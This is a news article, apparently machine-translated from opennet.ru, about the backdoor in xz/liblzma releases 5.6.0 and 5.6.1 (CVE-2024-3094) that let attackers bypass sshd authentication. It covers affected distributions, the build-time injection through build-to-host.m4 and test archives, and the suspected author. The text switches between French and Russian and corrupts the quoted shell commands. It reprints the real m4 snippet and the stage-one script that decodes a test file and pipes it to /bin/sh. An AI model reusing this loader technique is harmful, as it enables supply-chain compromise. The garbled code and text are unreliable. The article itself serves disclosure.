Une porte dérobée a été découverte dans la bibliothèque xz/liblzma qui permet l'entrée via sshd

Dans le package XZ Utils, qui comprend la bibliothèque liblzma et des utilitaires permettant de travailler avec des données compressées au format « .xz », une porte dérobée (CVE-2024-3094) a été identifiée qui permet l'interception et la modification des données traitées par les applications associées. avec la bibliothèque liblzma. La cible principale de la porte dérobée est le serveur OpenSSH, qui dans certaines distributions est fourni avec la bibliothèque libsystemd, qui à son tour utilise liblzma. Lier sshd à une bibliothèque vulnérable permet aux attaquants d'accéder au serveur SSH sans authentification.

Бэкдор присутствовал в официальных выпусках 5.6.0 и 5.6.1, опубликованных 24 февраля и 9 марта, которые успели попасть в состав некоторых дистрибутивов и репозиториев, например, Gentoo, Arch Linux, Debian sid/unstable, Fedora Rawhide и 40-beta, openSUSE factory и tumbleweed, LibreELEC, Alpine edge, Solus, NixOS unstable, OpenIndiana, OpenMandriva rolling, pkgsrc current, Slackware current, Manjaro testing. Всем пользователям выпусков xz 5.6.0 и 5.6.1 рекомендуется срочно откатиться на версию 5.4.6.

Из сглаживающих проблему факторов можно отметить то, что версия liblzma c бэкдором не успела войти в состав стабильных выпусков крупных дистрибутивов, но затронула openSUSE Tumbleweed и Fedora 40-beta. Arch Linux и Gentoo использовали уязвимую версию zx, но не подвержены атаке, так как не применяют к openssh патч для поддержки systemd-notify, приводящий к связыванию sshd к liblzma. Бэкдор затрагивает только системы x86_64 на базе ядра Linux и Си-библиотеки Glibc.

Le code d'activation de la porte dérobée était masqué dans les macros m4 du fichier build-to-host.m4 utilisé par la boîte à outils automake lors de la construction. Lors de l'assemblage, lors de l'exécution d'opérations obscurcies complexes basées sur des archives (bad-3-corrupt_lzma2.xz, good-large_compressed.lzma), utilisées pour tester l'exactitude du fonctionnement, un fichier objet avec un code malveillant a été généré, qui a été inclus dans la bibliothèque liblzma et modifié la logique de fonctionnement de certaines de ses fonctions. Les macros m4 activant la porte dérobée étaient incluses dans les archives tar de la version, mais ne figuraient pas dans le référentiel Git. Dans le même temps, des archives de tests malveillantes étaient présentes dans le référentiel, c'est-à-dire la personne qui a implémenté la porte dérobée avait accès à la fois au référentiel et aux processus de génération de versions.

Lors de l'utilisation de liblzma dans des applications, des modifications malveillantes pourraient être utilisées pour intercepter ou modifier des données, ou affecter le fonctionnement de sshd. En particulier, le code malveillant a usurpé la fonction RSA_public_decrypt pour contourner le processus d'authentification sshd. La porte dérobée incluait une protection contre la détection et ne se manifestait pas lorsque les variables d'environnement LANG et TERM étaient définies (c'est-à-dire lors de l'exécution du processus dans le terminal) et que les variables d'environnement LD_DEBUG et LD_PROFILE n'étaient pas définies, et n'était également activée que lors de l'exécution du processus. /usr/sbin/sshd fichier exécutable. La porte dérobée disposait également d'un moyen de détecter l'exécution dans des environnements de débogage.

En particulier, le fichier m4/build-to-host.m4 utilisait gl_am_configmake=`grep -aErls “#{4}[[:alnum:]]{5}#{4}$” $srcdir/ 2>/dev / null` … gl_[$1]_config='sed \»r\n\» $gl_am_configmake | évaluation $gl_path_map | $gl_[$1]_prefix -d 2>/dev/null'

В первой конструкции операция grep находила файл tests/files/bad-3-corrupt_lzma2.xz, при распаковке которого формировался сценарий: ####Hello#### #345U211267$^D330^W [ ! $(uname) = «Linux" ] && sortie 0 [ ! $(uname) = "Linux" ] && sortie 0 [ ! $(uname) = "Linux" ] && sortie 0 [ ! $(uname) = "Linux" ] && sortie 0 [ ! $(uname) = "Linux" ] && exit 0 eval `grep ^srcdir= config.status` if test -f ../../config.status;then eval `grep ^srcdir= ../../config.status` srcdir="../../$srcdir" fi export i="((head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +939)";(xz -dc $srcdir/tests/files/good-large_compressed.lzma|eval $i|tail -c +31233|tr "\114-\321\322-\377\35-\47\14-\34\0-\13\50-\113" "\0-\377")|xz -F raw —lzma1 -dc|/bin/sh ####World####

Каким образом злоумышленникам удалось получить доступ к инфраструктуре проекта xz пока до конца не выяснено. Так же пока не ясно как много пользователей и проектов были скомпрометированы в результате действия бэкдора. Предполагаемый автор бэкдора (JiaT75 — Jia Tan), разместивший в репозитории архивы с вредоносным кодом, переписывался с разработчиками Fedora и отправлял pull-запросы в Debian, связанные с переходом дистрибутивов на ветку xz 5.6.0, и не вызвал подозрений, так как участвовал в разработке xz на протяжении последних двух лет и является вторым разработчиком по числу внесённых изменений. Помимо проекта xz предполагаемый автор бэкдора также участвовал в разработке пакетов xz-java и xz-embedded. Более того, Jia Tan несколько дней назад был включён в число мэёнтейнеров проекта XZ Embedded, используемого в ядре Linux.

Вредоносное изменение было выявлено после анализа излишнего потребления CPU и ошибок, выдаваемых valgrind, при подключении через ssh к системам на базе Debian sid. Примечательно, что в релиз xz 5.6.1 были включены изменения, подготовленные предполагаемым автором бэкдора в ответ на жалобы о замедлении работы и сбоях sshd, возникшие после обновления до версии zx 5.6.0 с бэкдором. Кроме того, в прошлом году Jia Tan внёс изменения, несовместимые с режимом проверки «-fsanitize=address», что привело к его отключению при fuzzing-тестировании.

Source: opennet.ru

Achetez un hébergement fiable pour les sites avec protection DDoS, serveurs VPS VDS 🔥 Achetez un hébergement web fiable avec protection DDoS, serveurs VPS et VDS | ProHoster